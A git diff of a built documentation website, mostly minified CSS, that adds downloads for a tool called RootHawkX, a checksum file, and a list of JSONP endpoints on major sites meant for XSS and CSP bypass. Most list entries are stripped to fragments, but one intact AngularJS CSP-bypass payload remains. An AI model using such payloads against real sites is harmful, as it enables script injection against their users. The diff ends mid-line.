1rem)}.navbar-sidebar__close{display:flex;margin-left:auto}.pagination{column-gap:var(--ifm-pagination-page-spacing);display:flex;font-size:var(--ifm-pagination-font-size);padding-left:0}.pagination--sm{--ifm-pagination-font-size:0.8rem;--ifm-pagination-padding-horizontal:0.8rem;--ifm-pagination-padding-vertical:0.2rem}.pagination--lg{--ifm-pagination-font-size:1.2rem;--ifm-pagination-padding-horizontal:1.2rem;--ifm-pagination-padding-vertical:0.3rem}.pagination__item{display:inline-flex}.pagination__item>span{padding:var(--ifm-pagination-padding-vertical)}.pagination__item--active .pagination__link{color:var(--ifm-pagination-color-active)}.pagination__item--active .pagination__link,.pagination__item:not(.pagination__item--active):hover .pagination__link{background:var(--ifm-pagination-item-active-background)}.pagination__item--disabled,.pagination__item[disabled]{opacity:.25;pointer-events:none}.pagination__link{border-radius:var(--ifm-pagination-border-radius);color:var(--ifm-font-color-base);display:inline-block;padding:var(--ifm-pagination-padding-vertical) var(--ifm-pagination-padding-horizontal);transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pagination-nav{display:grid;grid-gap:var(--ifm-spacing-horizontal);gap:var(--ifm-spacing-horizontal);grid-template-columns:repeat(2,1fr)}.pagination-nav__link{border:1px solid var(--ifm-color-emphasis-300);border-radius:var(--ifm-pagination-nav-border-radius);display:block;height:100%;line-height:var(--ifm-heading-line-height);padding:var(--ifm-global-spacing);transition:border-color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pagination-nav__link:hover{border-color:var(--ifm-pagination-nav-color-hover)}.pagination-nav__link--next{grid-column:2/3;text-align:right}.pagination-nav__label{font-size:var(--ifm-h4-font-size);font-weight:var(--ifm-heading-font-weight);word-break:break-word}.pagination-nav__link--prev .pagination-nav__label:before{content:"« "}.pagination-nav__link--next .pagination-nav__label:after{content:" »"}.pagination-nav__sublabel{color:var(--ifm-color-content-secondary);font-size:var(--ifm-h5-font-size);font-weight:var(--ifm-font-weight-semibold);margin-bottom:.25rem}.pills__item,.tabs{font-weight:var(--ifm-font-weight-bold)}.pills{display:flex;gap:var(--ifm-pills-spacing);padding-left:0}.pills__item{border-radius:.5rem;cursor:pointer;display:inline-block;padding:.25rem 1rem;transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pills__item--active{color:var(--ifm-pills-color-active)}.pills__item--active,.pills__item:not(.pills__item--active):hover{background:var(--ifm-pills-color-background-active)}.pills--block{justify-content:stretch}.pills--block .pills__item{flex-grow:1;text-align:center}.tabs{color:var(--ifm-tabs-color);display:flex;margin-bottom:0;overflow-x:auto;padding-left:0}.tabs__item{border-bottom:3px solid #0000;border-radius:var(--ifm-global-radius);cursor:pointer;display:inline-flex;padding:var(--ifm-tabs-padding-vertical) var(--ifm-tabs-padding-horizontal);transition:background-color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.tabs__item--active{border-bottom-color:var(--ifm-tabs-color-active-border);border-bottom-left-radius:0;border-bottom-right-radius:0;color:var(--ifm-tabs-color-active)}.tabs__item:hover{background-color:var(--ifm-hover-overlay)}.tabs--block{justify-content:stretch}.tabs--block .tabs__item{flex-grow:1;justify-content:center}html[data-theme=dark]{--ifm-color-scheme:dark;--ifm-color-emphasis-0:var(--ifm-color-gray-1000);--ifm-color-emphasis-100:var(--ifm-color-gray-900);--ifm-color-emphasis-200:var(--ifm-color-gray-800);--ifm-color-emphasis-300:var(--ifm-color-gray-700);--ifm-color-emphasis-400:var(--ifm-color-gray-600);--ifm-color-emphasis-600:var(--ifm-color-gray-400);--ifm-color-emphasis-700:var(--ifm-color-gray-300);--ifm-color-emphasis-800:var(--ifm-color-gray-200);--ifm-color-emphasis-900:var(--ifm-color-gray-100);--ifm-color-emphasis-1000:var(--ifm-color-gray-0);--ifm-background-color:#1b1b1d;--ifm-background-surface-color:#242526;--ifm-hover-overlay:#ffffff0d;--ifm-color-content:#e3e3e3;--ifm-color-content-secondary:#fff;--ifm-breadcrumb-separator-filter:invert(64%) sepia(11%) saturate(0%) hue-rotate(149deg) brightness(99%) contrast(95%);--ifm-code-background:#ffffff1a;--ifm-scrollbar-track-background-color:#444;--ifm-scrollbar-thumb-background-color:#686868;--ifm-scrollbar-thumb-hover-background-color:#7a7a7a;--ifm-table-stripe-background:#ffffff12;--ifm-toc-border-color:var(--ifm-color-emphasis-200);--ifm-color-primary-contrast-background:#102445;--ifm-color-primary-contrast-foreground:#ebf2fc;--ifm-color-secondary-contrast-background:#474748;--ifm-color-secondary-contrast-foreground:#fdfdfe;--ifm-color-success-contrast-background:#003100;--ifm-color-success-contrast-foreground:#e6f6e6;--ifm-color-info-contrast-background:#193c47;--ifm-color-info-contrast-foreground:#eef9fd;--ifm-color-warning-contrast-background:#4d3800;--ifm-color-warning-contrast-foreground:#fff8e6;--ifm-color-danger-contrast-background:#4b1113;--ifm-color-danger-contrast-foreground:#ffebec}}:root{--ifm-color-primary:#12affa;--ifm-color-primary-dark:#10a7e6;--ifm-color-primary-darker:#0e9fd2;--ifm-color-primary-darkest:#0b8ab0;--ifm-color-primary-light:#14b3ff;--ifm-color-primary-lighter:#16b8ff;--ifm-color-primary-lightest:#1ac2ff;--ifm-code-font-size:95%;--docusaurus-highlighted-code-line-bg:#0000001a}[data-theme=dark]{--ifm-color-primary:#df5a35;--ifm-color-primary-dark:#c94f30;--ifm-color-primary-darker:#b3442b;--ifm-color-primary-darkest:#8f3723;--ifm-color-primary-light:#e3623b;--ifm-color-primary-lighter:#e76a41;--ifm-color-primary-lightest:#f0754b;--docusaurus-highlighted-code-line-bg:#0000004d}@layer docusaurus.core{#__docusaurus-base-url-issue-banner-container{display:none}}.cool-button_ql7L,.hero-title_l9ov,.heroBanner_qdFl,.social-icon_dUqL,.wechat-icon_LFEJ{position:relative}.github-icon_u8pr,.mail-icon_bKNN,.okx-icon_iwgw,.rss-icon_sYS7,.social-icon_dUqL,.wechat-icon_LFEJ{color:var(--ifm-color-primary)}.buttons_AeoN,.features_t9lD{align-items:center;display:flex}.features_t9lD{padding:2rem 0;width:100%}.featureSvg_GfXr,.wechat-icon_LFEJ:after{height:200px;width:200px}.heroBanner_qdFl{overflow:hidden;padding:4rem 0;text-align:center}.buttons_AeoN{justify-content:center}@keyframes a{0%,60%,to{transform:rotate(0)}10%,30%{transform:rotate(14deg)}20%{transform:rotate(-8deg)}40%{transform:rotate(-4deg)}50%{transform:rotate(10deg)}}.badge-image-class_eOmn{height:20px;transition:transform .3s,box-shadow .3s}.badge-image-class_eOmn:hover{box-shadow:0 5px 15px #0003;transform:scale(1.15)}.social-icon_dUqL{-webkit-text-decoration:none;text-decoration:none;transition:transform .3s,color .3s;will-change:transform,color}.social-icon_dUqL:hover{color:var(--ifm-color-primary-darker);transform:scale(1.2)}.wechat-icon_LFEJ:after{background-image:url(/en/assets/images/wx-c929afc8a67986abc859278e2df19530-dc006f68547c257688264ee23b5bf8e5.png);background-size:cover;border-radius:8px;bottom:30px;box-shadow:0 5px 15px #0000004d;content:"";display:none;left:50%;position:absolute;transform:translateX(-50%);z-index:100}.wechat-icon_LFEJ:hover:after{display:block}.github-icon_u8pr:hover{color:#000}.mail-icon_bKNN:hover{color:#6d4aff}.wechat-icon_LFEJ:hover{color:#07c160}.rss-icon_sYS7:hover{color:#f26522}.okx-icon_iwgw:hover{color:#121212}.cool-button_ql7L,.cool-button_ql7L:hover{color:#fff;-webkit-text-decoration:none;text-decoration:none}.cool-button_ql7L{background:linear-gradient(90deg,var(--ifm-color-primary) 0,var(--ifm-color-primary-dark) 100%);border-radius:30px;box-shadow:0 4px 15px rgba(var(--ifm-color-primary-rgb),.4);display:inline-block;font-weight:700;letter-spacing:1px;overflow:hidden;padding:12px 24px;text-transform:uppercase;transition:.3s}.cool-button_ql7L:before{background:linear-gradient(90deg,#0000,#fff3,#0000);content:"";height:100%;left:-100%;position:absolute;top:0;transition:.7s;width:100%}.cool-button_ql7L:hover{box-shadow:0 7px 20px rgba(var(--ifm-color-primary-rgb),.5);transform:translateY(-5px)}.cool-button_ql7L:hover:before{left:100%}.cool-button-extra_im0O{display:inline-block;margin-top:2.5rem}.hero-title_l9ov{color:var(--ifm-heading-color);display:inline-block;font-weight:800;margin-bottom:1.5rem}.hero-title_l9ov:after{background:var(--ifm-color-primary);border-radius:2px;bottom:-10px;content:"";height:4px;left:0;position:absolute;width:70px}.waving-hand_cs2R{animation:2.5s infinite a;display:inline-block;transform-origin:70% 70%}.home-container_oR0z{align-items:center;display:flex;flex-direction:column;margin:0 auto;max-width:800px;text-align:center}.social-icons_yr12{gap:1.5rem}.badges-container_DpSj,.social-icons_yr12{display:flex;justify-content:center;margin-top:2rem}.badges-container_DpSj{flex-wrap:wrap;gap:10px;margin-bottom:2rem}@layer docusaurus.theme-common{body:not(.navigation-with-keyboard) :not(input):focus{outline:0}.themedComponent_mlkZ{display:none}[data-theme=dark] .themedComponent--dark_xIcU,[data-theme=light] .themedComponent--light_NVdE,html:not([data-theme]) .themedComponent--light_NVdE{display:initial}.errorBoundaryError_a6uf{color:red;white-space:pre-wrap}.errorBoundaryFallback_VBag{color:red;padding:.55rem}.details_lb9f{--docusaurus-details-summary-arrow-size:0.38rem;--docusaurus-details-transition:transform 200ms ease;--docusaurus-details-decoration-color:grey}.details_lb9f>summary{cursor:pointer;list-style:none;padding-left:1rem;position:relative}.details_lb9f>summary::-webkit-details-marker{display:none}.details_lb9f>summary:before{border-color:#0000 #0000 #0000 var(--docusaurus-details-decoration-color);border-style:solid;border-width:var(--docusaurus-details-summary-arrow-size);content:"";left:0;position:absolute;top:.45rem;transform:rotate(0);transform-origin:calc(var(--docusaurus-details-summary-arrow-size)/2) 50%;transition:var(--docusaurus-details-transition)}.details_lb9f[data-collapsed=false].isBrowser_bmU9>summary:before,.details_lb9f[open]:not(.isBrowser_bmU9)>summary:before{transform:rotate(90deg)}.collapsibleContent_i85q{border-top:1px solid var(--docusaurus-details-decoration-color);margin-top:1rem;padding-top:1rem}.collapsibleContent_i85q p:last-child,.details_lb9f>summary>p:last-child{margin-bottom:0}}@layer docusaurus.theme-classic{:root{--docusaurus-progress-bar-color:var(--ifm-color-primary);--docusaurus-announcement-bar-height:auto;--docusaurus-tag-list-border:var(--ifm-color-emphasis-300);--docusaurus-collapse-button-bg:#0000;--docusaurus-collapse-button-bg-hover:#0000001a;--doc-sidebar-width:300px;--doc-sidebar-hidden-width:30px}#nprogress{pointer-events:none}#nprogress .bar{background:var(--docusaurus-progress-bar-color);height:2px;left:0;position:fixed;top:0;width:100%;z-index:1031}#nprogress .peg{box-shadow:0 0 10px var(--docusaurus-progress-bar-color),0 0 5px var(--docusaurus-progress-bar-color);height:100%;opacity:1;position:absolute;right:0;transform:rotate(3deg) translateY(-4px);width:100px}.skipToContent_fXgn{background-color:var(--ifm-background-surface-color);color:var(--ifm-color-emphasis-900);left:100%;padding:calc(var(--ifm-global-spacing)/2) var(--ifm-global-spacing);position:fixed;top:1rem;z-index:calc(var(--ifm-z-index-fixed) + 1)}.skipToContent_fXgn:focus{box-shadow:var(--ifm-global-shadow-md);left:1rem}.closeButton_CVFx{line-height:0;padding:0}.content_knG7{font-size:85%;padding:5px 0;text-align:center}.content_knG7 a{color:inherit;-webkit-text-decoration:underline;text-decoration:underline}.announcementBar_mb4j{align-items:center;background-color:var(--ifm-color-white);border-bottom:1px solid var(--ifm-color-emphasis-100);color:var(--ifm-color-black);display:flex;height:var(--docusaurus-announcement-bar-height)}.docSidebarContainer_YfHR,.navbarSearchContainer_Bca1:empty,.sidebarLogo_isFc,.toggleIcon_g3eP,html[data-announcement-bar-initially-dismissed=true] .announcementBar_mb4j{display:none}.announcementBarPlaceholder_vyr4{flex:0 0 10px}.announcementBarClose_gvF7{align-self:stretch;flex:0 0 30px}.announcementBarContent_xLdY{flex:1 1 auto}.toggle_vylO{height:2rem;width:2rem}.toggleButton_gllP{-webkit-tap-highlight-color:transparent;align-items:center;border-radius:50%;display:flex;height:100%;justify-content:center;transition:background var(--ifm-transition-fast);width:100%}.toggleButton_gllP:hover{background:var(--ifm-color-emphasis-200)}[data-theme-choice=dark] .darkToggleIcon_wfgR,[data-theme-choice=light] .lightToggleIcon_pyhR,[data-theme-choice=system] .systemToggleIcon_QzmC{display:initial}.toggleButtonDisabled_aARS{cursor:not-allowed}.darkNavbarColorModeToggle_X3D1:hover{background:var(--ifm-color-gray-800)}.tag_zVej{border:1px solid var(--docusaurus-tag-list-border);transition:border var(--ifm-transition-fast)}.tag_zVej:hover{--docusaurus-tag-list-border:var(--ifm-link-color);-webkit-text-decoration:none;text-decoration:none}.tagRegular_sFm0{border-radius:var(--ifm-global-radius);font-size:90%;padding:.2rem .5rem .3rem}.tagWithCount_h2kH{align-items:center;border-left:0;display:flex;padding:0 .5rem 0 1rem;position:relative}.tagWithCount_h2kH:after,.tagWithCount_h2kH:before{border:1px solid var(--docusaurus-tag-list-border);content:"";position:absolute;top:50%;transition:inherit}.tagWithCount_h2kH:before{border-bottom:0;border-right:0;height:1.18rem;right:100%;transform:translate(50%,-50%) rotate(-45deg);width:1.18rem}.tagWithCount_h2kH:after{border-radius:50%;height:.5rem;left:0;transform:translateY(-50%);width:.5rem}.tagWithCount_h2kH span{background:var(--ifm-color-secondary);border-radius:var(--ifm-global-radius);color:var(--ifm-color-black);font-size:.7rem;line-height:1.2;margin-left:.3rem;padding:.1rem .4rem}.tags_jXut{display:inline}.tag_QGVx{display:inline-block;margin:0 .4rem .5rem 0}.backToTopButton_sjWU{background-color:var(--ifm-color-emphasis-200);border-radius:50%;bottom:1.3rem;box-shadow:var(--ifm-global-shadow-lw);height:3rem;opacity:0;position:fixed;right:1.3rem;transform:scale(0);transition:all var(--ifm-transition-fast) var(--ifm-transition-timing-default);visibility:hidden;width:3rem;z-index:calc(var(--ifm-z-index-fixed) - 1)}.backToTopButton_sjWU:after{background-color:var(--ifm-color-emphasis-1000);content:" ";display:inline-block;height:100%;-webkit-mask:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem no-repeat;mask:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem no-repeat;width:100%}.backToTopButtonShow_xfvO{opacity:1;transform:scale(1);visibility:visible}[data-theme=dark]:root{--docusaurus-collapse-button-bg:#ffffff0d;--docusaurus-collapse-button-bg-hover:#ffffff1a}.collapseSidebarButton_PEFL{display:none;margin:0}.iconExternalLink_nPIU{margin-left:.3rem}.dropdownNavbarItemMobile_J0Sd{cursor:pointer}.iconLanguage_nlXk{margin-right:5px;vertical-align:text-bottom}.navbarHideable_m1mJ{transition:transform var(--ifm-transition-fast) ease}.navbarHidden_jGov{transform:translate3d(0,calc(-100% - 2px),0)}.categoryLinkLabel_W154,.linkLabel_WmDU{display:-webkit-box;overflow:hidden;-webkit-box-orient:vertical}.navbar__items--right>:last-child{padding-right:0}.footerLogoLink_BH7S{opacity:.5;transition:opacity var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.footerLogoLink_BH7S:hover,.hash-link:focus,:hover>.hash-link{opacity:1}.menuExternalLink_NmtK{align-items:center}.linkLabel_WmDU{line-clamp:2;-webkit-line-clamp:2}.categoryLink_byQd{overflow:hidden}.menu__link--sublist-caret:after{margin-left:var(--ifm-menu-link-padding-vertical)}.categoryLinkLabel_W154{flex:1;line-clamp:2;-webkit-line-clamp:2}.docMainContainer_TBSr,.docRoot_UBD9{display:flex;width:100%}.docsWrapper_hBAB{display:flex;flex:1 0 auto}.anchorWithStickyNavbar_LWe7,.footnoteRefStickyNavbar_i6ta{scroll-margin-top:calc(var(--ifm-navbar-height) + .5rem)}.anchorWithHideOnScrollNavbar_WYt5,.footnoteRefHideOnScrollNavbar_D4Gr{scroll-margin-top:.5rem}.hash-link{opacity:0;padding-left:.5rem;transition:opacity var(--ifm-transition-fast);-webkit-user-select:none;user-select:none}.hash-link:before{content:"#"}body,html{height:100%}.mainWrapper_z2l0{display:flex;flex:1 0 auto;flex-direction:column}.docusaurus-mt-lg{margin-top:3rem}#__docusaurus{display:flex;flex-direction:column;min-height:100%}.codeBlockContainer_Ckt0{background:var(--prism-background-color);border-radius:var(--ifm-code-border-radius);box-shadow:var(--ifm-global-shadow-lw);color:var(--prism-color);margin-bottom:var(--ifm-leading)}.codeBlock_bY9V{--ifm-pre-background:var(--prism-background-color);margin:0;padding:0}.codeBlockStandalone_MEMb{padding:0}.codeBlockLines_e6Vv{float:left;font:inherit;min-width:100%;padding:var(--ifm-pre-padding)}.codeBlockLinesWithNumbering_o6Pm{display:table;padding:var(--ifm-pre-padding) 0}:where(:root){--docusaurus-highlighted-code-line-bg:#484d5b}:where([data-theme=dark]){--docusaurus-highlighted-code-line-bg:#646464}.theme-code-block-highlighted-line{background-color:var(--docusaurus-highlighted-code-line-bg);display:block;margin:0 calc(var(--ifm-pre-padding)*-1);padding:0 var(--ifm-pre-padding)}.codeLine_lJS_{counter-increment:a;display:table-row}.codeLineNumber_Tfdd{background:var(--ifm-pre-background);display:table-cell;left:0;overflow-wrap:normal;padding:0 var(--ifm-pre-padding);position:sticky;text-align:right;width:1%}.codeLineNumber_Tfdd:before{content:counter(a);opacity:.4}.theme-code-block-highlighted-line .codeLineNumber_Tfdd:before{opacity:.8}.codeLineContent_feaV{padding-right:var(--ifm-pre-padding)}.theme-code-block:hover .copyButtonCopied_Vdqa{opacity:1!important}.copyButtonIcons_IEyt{height:1.125rem;position:relative;width:1.125rem}.copyButtonIcon_TrPX,.copyButtonSuccessIcon_cVMy{fill:currentColor;height:inherit;left:0;opacity:inherit;position:absolute;top:0;transition:all var(--ifm-transition-fast) ease;width:inherit}.copyButtonSuccessIcon_cVMy{color:#00d600;left:50%;opacity:0;top:50%;transform:translate(-50%,-50%) scale(.33)}.copyButtonCopied_Vdqa .copyButtonIcon_TrPX{opacity:0;transform:scale(.33)}.copyButtonCopied_Vdqa .copyButtonSuccessIcon_cVMy{opacity:1;transform:translate(-50%,-50%) scale(1);transition-delay:75ms}.wordWrapButtonIcon_b1P5{height:1.2rem;width:1.2rem}.wordWrapButtonEnabled_uzNF .wordWrapButtonIcon_b1P5{color:var(--ifm-color-primary)}.buttonGroup_M5ko{column-gap:.2rem;display:flex;position:absolute;right:calc(var(--ifm-pre-padding)/2);top:calc(var(--ifm-pre-padding)/2)}.buttonGroup_M5ko button{align-items:center;background:var(--prism-background-color);border:1px solid var(--ifm-color-emphasis-300);border-radius:var(--ifm-global-radius);color:var(--prism-color);display:flex;line-height:0;opacity:0;padding:.4rem;transition:opacity var(--ifm-transition-fast) ease-in-out}.buttonGroup_M5ko button:focus-visible,.buttonGroup_M5ko button:hover{opacity:1!important}.theme-code-block:hover .buttonGroup_M5ko button{opacity:.4}.codeBlockContent_QJqH{border-radius:inherit;direction:ltr;position:relative}.codeBlockTitle_OeMC{border-bottom:1px solid var(--ifm-color-emphasis-300);border-top-left-radius:inherit;border-top-right-radius:inherit;font-size:var(--ifm-code-font-size);font-weight:500;padding:.75rem var(--ifm-pre-padding)}.codeBlockTitle_OeMC+.codeBlockContent_QJqH .codeBlock_a8dz{border-top-left-radius:0;border-top-right-radius:0}.iconEdit_Z9Sw{margin-right:.3em;vertical-align:sub}.lastUpdated_JAkA{font-size:smaller;font-style:italic;margin-top:.2rem}.tocCollapsibleButton_TO0P{align-items:center;display:flex;font-size:inherit;justify-content:space-between;padding:.4rem .8rem;width:100%}.tocCollapsibleButton_TO0P:after{background:var(--ifm-menu-link-sublist-icon) 50% 50%/2rem 2rem no-repeat;content:"";filter:var(--ifm-menu-link-sublist-icon-filter);height:1.25rem;transform:rotate(180deg);transition:transform var(--ifm-transition-fast);width:1.25rem}.tocCollapsibleButtonExpanded_MG3E:after,.tocCollapsibleExpanded_sAul{transform:none}.tocCollapsible_ETCw{background-color:var(--ifm-menu-color-background-active);border-radius:var(--ifm-global-radius);margin:1rem 0}.tocCollapsibleContent_vkbj>ul{border-left:none;border-top:1px solid var(--ifm-color-emphasis-300);font-size:15px;padding:.2rem 0}.tocCollapsibleContent_vkbj ul li{margin:.4rem .8rem}.tocCollapsibleContent_vkbj a{display:block}.details_b_Ee{--docusaurus-details-decoration-color:var(--ifm-alert-border-color);--docusaurus-details-transition:transform var(--ifm-transition-fast) ease;border:1px solid var(--ifm-alert-border-color);margin:0 0 var(--ifm-spacing-vertical)}.containsTaskList_mC6p{list-style:none}:not(.containsTaskList_mC6p>li)>.containsTaskList_mC6p{padding-left:0}.img_ev3q{height:auto}.tableOfContents_bqdL{max-height:calc(100vh - var(--ifm-navbar-height) - 2rem);overflow-y:auto;position:sticky;top:calc(var(--ifm-navbar-height) + 1rem)}.admonition_xJq3{margin-bottom:1em}.admonitionHeading_Gvgb{font:var(--ifm-heading-font-weight) var(--ifm-h5-font-size)/var(--ifm-heading-line-height) var(--ifm-heading-font-family);text-transform:uppercase}.admonitionHeading_Gvgb:not(:last-child){margin-bottom:.3rem}.admonitionHeading_Gvgb code{text-transform:none}.admonitionIcon_Rf37{display:inline-block;margin-right:.4em;vertical-align:middle}.admonitionIcon_Rf37 svg{display:inline-block;fill:var(--ifm-alert-foreground-color);height:1.6em;width:1.6em}.admonitionContent_BuS1>:last-child{margin-bottom:0}.breadcrumbHomeIcon_YNFT{height:1.1rem;position:relative;top:1px;vertical-align:top;width:1.1rem}.breadcrumbsContainer_Z_bl{--ifm-breadcrumb-size-multiplier:0.8;margin-bottom:.8rem}.docItemContainer_Djhp article>:first-child,.docItemContainer_Djhp header+*{margin-top:0}.mdxPageWrapper_j9I6{justify-content:center}}@media (min-width:997px){.collapseSidebarButton_PEFL,.expandButton_TmdG{background-color:var(--docusaurus-collapse-button-bg)}:root{--docusaurus-announcement-bar-height:30px}.announcementBarClose_gvF7,.announcementBarPlaceholder_vyr4{flex-basis:50px}.collapseSidebarButton_PEFL{border:1px solid var(--ifm-toc-border-color);border-radius:0;bottom:0;display:block!important;height:40px;position:sticky}.collapseSidebarButtonIcon_kv0_{margin-top:4px;transform:rotate(180deg)}.expandButtonIcon_i1dp,[dir=rtl] .collapseSidebarButtonIcon_kv0_{transform:rotate(0)}.collapseSidebarButton_PEFL:focus,.collapseSidebarButton_PEFL:hover,.expandButton_TmdG:focus,.expandButton_TmdG:hover{background-color:var(--docusaurus-collapse-button-bg-hover)}.navbarSearchContainer_Bca1{padding:0 var(--ifm-navbar-item-padding-horizontal)}.menuHtmlItem_M9Kj{padding:var(--ifm-menu-link-padding-vertical) var(--ifm-menu-link-padding-horizontal)}.menu_SIkG{flex-grow:1;padding:.5rem}@supports (scrollbar-gutter:stable){.menu_SIkG{padding:.5rem 0 .5rem .5rem;scrollbar-gutter:stable}}.menuWithAnnouncementBar_GW3s{margin-bottom:var(--docusaurus-announcement-bar-height)}.sidebar_njMd{display:flex;flex-direction:column;height:100%;padding-top:var(--ifm-navbar-height);width:var(--doc-sidebar-width)}.sidebarWithHideableNavbar_wUlq{padding-top:0}.sidebarHidden_VK0M{opacity:0;visibility:hidden}.sidebarLogo_isFc{align-items:center;color:inherit!important;display:flex!important;margin:0 var(--ifm-navbar-padding-horizontal);max-height:var(--ifm-navbar-height);min-height:var(--ifm-navbar-height);-webkit-text-decoration:none!important;text-decoration:none!important}.sidebarLogo_isFc img{height:2rem;margin-right:.5rem}.expandButton_TmdG{align-items:center;display:flex;height:100%;justify-content:center;position:absolute;right:0;top:0;transition:background-color var(--ifm-transition-fast) ease;width:100%}[dir=rtl] .expandButtonIcon_i1dp{transform:rotate(180deg)}.docSidebarContainer_YfHR{border-right:1px solid var(--ifm-toc-border-color);clip-path:inset(0);display:block;margin-top:calc(var(--ifm-navbar-height)*-1);transition:width var(--ifm-transition-fast) ease;width:var(--doc-sidebar-width);will-change:width}.docSidebarContainerHidden_DPk8{cursor:pointer;width:var(--doc-sidebar-hidden-width)}.sidebarViewport_aRkj{height:100%;max-height:100vh;position:sticky;top:0}.docMainContainer_TBSr{flex-grow:1;max-width:calc(100% - var(--doc-sidebar-width))}.docMainContainerEnhanced_lQrH{max-width:calc(100% - var(--doc-sidebar-hidden-width))}.docItemWrapperEnhanced_JWYK{max-width:calc(var(--ifm-container-width) + var(--doc-sidebar-width))!important}.lastUpdated_JAkA{text-align:right}.tocMobile_ITEo{display:none}.docItemCol_VOVn{max-width:75%!important}}@media (min-width:1440px){.container{max-width:var(--ifm-container-width-xl)}}@media (max-width:996px){.col{--ifm-col-width:100%;flex-basis:var(--ifm-col-width);margin-left:0}.footer{--ifm-footer-padding-horizontal:0}.colorModeToggle_DEke,.footer__link-separator,.navbar__item,.tableOfContents_bqdL{display:none}.footer__col{margin-bottom:calc(var(--ifm-spacing-vertical)*3)}.footer__link-item{display:block;width:max-content}.hero{padding-left:0;padding-right:0}.navbar>.container,.navbar>.container-fluid{padding:0}.navbar__toggle{display:inherit}.navbar__search-input{width:9rem}.pills--block,.tabs--block{flex-direction:column}.navbarSearchContainer_Bca1{position:absolute;right:var(--ifm-navbar-padding-horizontal)}.docItemContainer_F8PC{padding:0 .3rem}}@media screen and (max-width:996px){.heroBanner_qdFl{padding:2rem}}@media (max-width:576px){.markdown h1:first-child{--ifm-h1-font-size:2rem}.markdown>h2{--ifm-h2-font-size:1.5rem}.markdown>h3{--ifm-h3-font-size:1.25rem}}@media (hover:hover){.backToTopButton_sjWU:hover{background-color:var(--ifm-color-emphasis-300)}}@media (pointer:fine){.thin-scrollbar{scrollbar-width:thin}.thin-scrollbar::-webkit-scrollbar{height:var(--ifm-scrollbar-size);width:var(--ifm-scrollbar-size)}.thin-scrollbar::-webkit-scrollbar-track{background:var(--ifm-scrollbar-track-background-color);border-radius:10px}.thin-scrollbar::-webkit-scrollbar-thumb{background:var(--ifm-scrollbar-thumb-background-color);border-radius:10px}.thin-scrollbar::-webkit-scrollbar-thumb:hover{background:var(--ifm-scrollbar-thumb-hover-background-color)}}@media (prefers-reduced-motion:reduce){:root{--ifm-transition-fast:0ms;--ifm-transition-slow:0ms}}@media print{.announcementBar_mb4j,.footer,.menu,.navbar,.pagination-nav,.table-of-contents,.tocMobile_ITEo{display:none}.tabs{page-break-inside:avoid}.codeBlockLines_e6Vv{white-space:pre-wrap}} \ No newline at end of file diff --git a/en/assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip b/en/assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip new file mode 100644 index 0000000..f16c547 Binary files /dev/null and b/en/assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip differ diff --git a/en/assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz b/en/assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz new file mode 100644 index 0000000..ff89e75 Binary files /dev/null and b/en/assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz differ diff --git a/en/assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt b/en/assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt new file mode 100644 index 0000000..fcd6f90 --- /dev/null +++ b/en/assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt @@ -0,0 +1,5 @@ +a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26 source/RootHawkX-v1.1.zip +c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d source/RootHawkX-v1.1.tar.gz +9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2 bin/roothawkx_linux_386 +e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179 bin/roothawkx_linux_amd64 +de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1 bin/roothawkx_linux_arm64 diff --git a/en/assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt b/en/assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt new file mode 100644 index 0000000..12add24 --- /dev/null +++ b/en/assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt @@ -0,0 +1,57 @@ +#Google.com: +"> +"> +"> +"> +#Blogger.com: +"> +#Yandex: +"> +"> +#VK.com: +"> +#Marketo.com +"> +"> +#AlibabaGroup: +"> +"> +"> +"> +"> +"> +"> +#Uber.com: +"> +#AOL/Yahoo +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +#Twitter.com: +"> +"> +"> +#Others: +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +"> +#GoogleAPI's +"> +"> +ng-app"ng-csp ng-click=$event.view.alert(1337)> diff --git a/en/assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png b/en/assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png new file mode 100644 index 0000000..14e4f86 Binary files /dev/null and b/en/assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png differ diff --git a/en/assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png b/en/assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png new file mode 100644 index 0000000..3c4263b Binary files /dev/null and b/en/assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png differ diff --git a/en/assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png b/en/assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png new file mode 100644 index 0000000..9c223fd Binary files /dev/null and b/en/assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png differ diff 